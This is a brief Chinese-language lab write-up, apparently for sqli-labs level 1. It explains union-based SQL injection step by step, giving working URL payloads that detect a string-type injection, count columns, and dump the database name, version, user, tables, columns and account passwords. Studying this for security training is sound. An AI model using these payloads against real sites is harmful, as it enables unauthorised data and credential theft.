第一题
联合查询
1)思路:
有回显值
1.判断有无注入点
2.猜解列名数量
3.判断回显点
4.利用注入点进行信息收集
爆用户权限,爆库,爆版本号
爆表,爆列,爆账号密码
2)解题过程:
?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
判断为单引号注入,且有回显点
猜解列名数量为3
?id=1'order by 3--+
判断回显点:2,3
?id=-1'union select 1,2,3--+
联合注入进行信息收集
爆库、版本号、权限
?id=-1' union select 1,database(),version()--+
?id=-1' union select 1,2,user()--+
爆表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆列
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆账号密码
?id=-1' union select 1,2,(select group_concat(username,0x7e,password) from users)--+